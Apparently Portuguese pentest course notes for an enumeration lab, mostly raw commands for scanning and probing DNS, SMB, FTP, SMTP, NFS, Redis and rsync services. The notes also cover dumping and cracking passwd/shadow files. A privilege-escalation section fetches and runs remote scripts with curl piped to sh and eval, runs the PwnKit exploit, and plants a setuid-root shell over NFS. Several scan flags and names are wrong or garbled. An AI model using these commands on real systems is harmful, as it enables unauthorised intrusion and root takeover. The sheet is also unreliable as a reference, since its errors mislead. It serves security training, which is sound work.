SCAN E TIPOS DE SCAN
Comando básico
nmap -sn -v -n IP_DO_ALVO_OU_REDE
Host Discovery
ARP Ping Scan
nmap -sn -PR IP_DO_ALVO_OU_REDE
UDP Ping Scan
nmap -sn -PU IP_DO_ALVO_OU_REDE
ICMP ECHO Ping Scan
nmap -sn -PE IP_DO_ALVO_OU_REDE
ICMP ECHO Ping Sweep
nmap -sn -PE IP_DO_ALVO_OU_REDE
ICMP Timespamp Ping Scan
nmap -sn -PM IP_DO_ALVO_OU_REDE
TCP SYN Ping Scan
nmap -sn -PS IP_DO_ALVO_OU_REDE
TCP ACK Ping Scan
nmap -sn -PA IP_DO_ALVO_OU_REDE
IP Protocol Ping Scan
nmap -sn
n-PS IP_DO_ALVO_OU_REDE
Informando uma porta específica
nmap -p sua_porta IP_DO_ALVO_OU_REDE
Informando multiplas portas
nmap -p 21,22,25,80 IP_DO_ALVO_OU_REDE
Informando intervalo de endereço IP
nmap 192.168.100.1-240
Escaneamento de Portas
TCP FULL Scan
nmap -sT -v IP_DO_ALVO_OU_REDE
Stealth/Half-Open Scan
nmap -sS -v IP_DO_ALVO_OU_REDE
FIN Scan
nmap -sF -v IP_DO_ALVO_OU_REDE
NULL Scan
nmap -sN -v IP_DO_ALVO_OU_REDE
TCP Mainmon Scan
nmap -sM -v IP_DO_ALVO_OU_REDE
ACK Flag Scan
nmap -sA -v IP_DO_ALVO_OU_REDE
IDLE/IPID Scan
nmap -sL -v IP_DO_ALVO_OU_REDE
UDP Scan
nmap -sU -v IP_DO_ALVO_OU_REDE
XMAS Scan
nmap -sX -v IP_DO_ALVO_OU_REDE
Descoberta do Sistema Operacional
nmap -O IP_DO_ALVO_OU_REDE
Descobrir versão do serviço
nmap -sV IP_DO_ALVO_OU_REDE
- WEB
Analisar o código fonte é extremamente importante, pois o desenvolvedor pode ter deixado alguma coisa passar. Acesse a máquina na porta 80 e olhe o código fonte http://IP_DO_ALVO
Analisando o código fonte é possível perceber que o servidor se trata de uma tecnologia PHP, pode tentar utilizar outros tipos de extensão pra ver se o desenvolvedor acabou deixando escapar algo, se encontrar outra página, analise o código fonte.
http://IP_DO_ALVO/index.html
tenta credencial padrão
Tem outras formas de fazer enumeração WEB, mas será mostrado no módulo web.
-
OPENLDAP http://68.183.142.70:8080/phpldapadmin/ nmap –script ldap* -vv -n -Pn -p 389 IP_DO_ALVO ldapsearch -x -b “dc=enumeration,dc=local” “*” -H ldap://IP_DO_ALVO:389
-
DNS
Encontrei um erro no LAB, a faixa é 192.168.100.27
Para descobrir o nome do domínio, coloca o 192.168.100.44
nslookup eumeration.local 192.168.200.44
dig ns enumeration.local @IP_DO_ALVO
Apenas o resultado da consulta
dig linux.enumeration.local +short @IP_DO_ALVO
host nfs.enumeration.local IP_DO_ALVO
TRANSFERÊNCIA DE ZONA
Identificar o nome do servidor DNS dig +short ns enumeration.local @IP_DO_ALVO
Inicializa a solicitação de transferência de zona para o servidor secundário
dig axfr enumeration.local @IP_DO_ALVO
dig +short ns zonetransfer.me
dig axfr zonetransfer.me @nsztm1.digi.ninja
dig axfr zonetransfer.me @nsztm2.digi.ninja
host -t ns zonetransfer.me
host -t axfr zonetransfer.me nsztm1.digi.ninja
host -t axfr zonetransfer.me nsztm2 .digi.ninja
TENTE REALIZAR NO WINDOWS, NO LINUX NÃO FUNCIONA, POIS NÃO FOI IMPLEMENTADO A OPÇÃO LS
nslookup
set q=ns
zonetransfer.me
server nsztm1.digi.ninja
ls -d zonetransfer.me
server nsztm2.digi.ninja
ls -d zonetransfer.me
-
SNMP nmap -sU -v -n -T4 -Pn –open –top-port 5 192.168.200.44
nmap -p 161 -sU --script snmp-brute.nse IP_DO_ALVO nmap -p 161 -sU --script snmp-netstat.nse IP_DO_ALVO nmap -p 161 -sU --script snmp-processes.nse IP_DO_ALVO nmap -p 161 -sU --script snmp-interfaces.nse IP_DO_ALVO snmpwalk -v2c -c public IP_DO_ALVO snmp-check IP_DO_ALVO
-
SMB
1C - DOMAIN CONTROLLER 00 - HOSTANME
nmblookup -A IP_DO_ALVO # Enumerando hostname do alvo, o comando nmblookup faz consultas a nomes NetBIOS e faz o mapeamento para o IP
Escanea rede IP para NetBIOS igualmente ao comando acima
nbtscan IP_DO_ALVO #
nbtscan IP_DO_ALVO -v
nmap --script nbstat.nse IP_DO_ALVO
nmap --script smb-os-discovery IP_DO_ALVO
Enumera compatilhamentos
smbmap -H IP_DO_ALVO
smbmap -H IP_DO_ALVO -r Shares
smbmap -H IP_DO_ALVO --download shares\confidencial.txt
smbmap -H IP_DO_ALVO --download shares\\confidencial.txt
smbclient -L IP_DO_ALVO
smbclient //IP_DO_ALVO/shares
dir
get confidencial.txt
exit
cat confidencial.txt
nmap --script smb-enum-shares -p139,445 IP_DO_ALVO
crackmapexec smb IP_DO_ALVO -u '' -p '' --shares
crackmapexec smb IP_DO_ALVO -u '' -p '' --pass-pol
rpcclient -U "" -N IP_DO_ALVO
getusername
netshareenum
help
enum4linux IP_DO_ALVO
Buscar por vulnerabilidades conhecidas no SMB
nmap --script smb-vuln* IP_DO_ALVO #
-
FTP nmap -Pn -p 21 -sV -v -n –script ftp-anon IP_DO_ALVO
echo -e 'USER anonymous\nSTAT' | nc -vn IP_DO_ALVO 21 telnet IP_DO_ALVO 21 quit
Informa usuário anonymous, se solicitar senha digita qualquer coisa para a senha
ftp IP_DO_ALVO Vai mostrar um diretório chamado importante
dir cd importante # Acessa o diretório importante dir # Listar o que tem dentro do diretório importante get importante.txt # Baixar o arquivo importante.txt para a máquina local exit cat importante.txt # Ler conteúdo do arquivo
wget -m ftp://anonymous:anonymous@IP_DO_ALVO # Baixar todo conteúdo do servidor FTP da pasta com permissão
-
SMTP
Comando VRFY - Valida Usuários telnet IP_DO_ALVO 25 HELO HELO x VRFY thiago VRFY usuario-qualquer VRFY admin quit HELO HELO x MAIL FROM: thiago RCPT TO: usuario-qualquer RCPT TO: admin quit nmap -Pn -v -n -p 25 --script smtp-* IP_DO_ALVO
-
NFS
rpcinfo -p IP_DO_ALVO showmount -e IP_DO_ALVO mount -t nfs IP_DO_ALVO:/home/thiago /mnt
-
REDIS
redis-cli -h IP_DO_ALVO help + tecla tab help @set help @generic SET THIAGAO BONITAO GET THIAGAGO KEYS * GET SEGREDO
-
RSYNC
Foi adicionado aspas nos comandos do RSYNC para informar o inicio e fim do comando, mas não precisa utilizá-la.
“nmap -sV –script “rsync-list-modules” -Pn -v -n -p 873 IP_DO_ALVO”
> "rsync --list-only rsync://IP_DO_ALVO/"
“rsync –list-only rsync://IP_DO_ALVO/backup”
“rsync –list-only rsync://IP_DO_ALVO/backup/etc/passwd”
rsync -chavzP –stats rsync://IP_DO_ALVO/backup/etc/passwd rsync -chavzP –stats rsync://IP_DO_ALVO/backup/etc/passwd . unshadow passwd shadow > pshadow john pshadow
Conecta no ssh com o usuário thiago e não consegue virar root Conecta no ssh com o usuário ubuntu e vai conseguir virar root
-
CUPS
nmap -p 631 IP_DO_ALVO -Pn -v --script cups* Abrir navegador na porta 631
-
ESCALAÇÃO DE PRIVILÉGIO (Bônus) LOGA COM O USUÁRIO THIAGO E RODA O LINPEAS
Baixar o Binário que foi compartilhado no grupo e colocar o código na máquina alvo usando o usuário thiago e senha 123456 para conectar na máq uina por ssh ssh thiago@IP_DO_ALVO Acessar o diretório /tmp, pois usuário comum tem permissão de gravação no diretório cd /tmp curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
https://github.com/berdav/CVE-2021-4034 - Executar o oneliner command
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)" Colar o código do exploit no arquivo exploit.c nano exploit.c Compilar o binário para gerar um executável gcc -o exploit exploit.c Dar permissão de execução no binário chmod +x exploit Executar o exploit ./exploit Ver qual usuário eu me tornei após executar o binário whoami OUTRA FORMA É FAZENDO PELO NFS tenta fazer com bash e vai dar erro, então cria um arquivo C int main() { setuid(0); system("/bin/bash"); return 0; }
gcc exp.c -o exp mys chmod +s exp
Vai no alvo e tenta executar o arquivo: ./exp - VAI DAR ERRO, então compila diretamente no alvo gcc exp.c -o exp2 ls -l exp2
VAI NO KALI muda dono e permissão chown root:root exp2 chmod +s exp2
VAI NO ALVO E TENTA EXECUTAR ./exp2
-
SERVIÇO RODANDO EM LOCALHOST MYSQL show databases; use login; show tables; select * from login;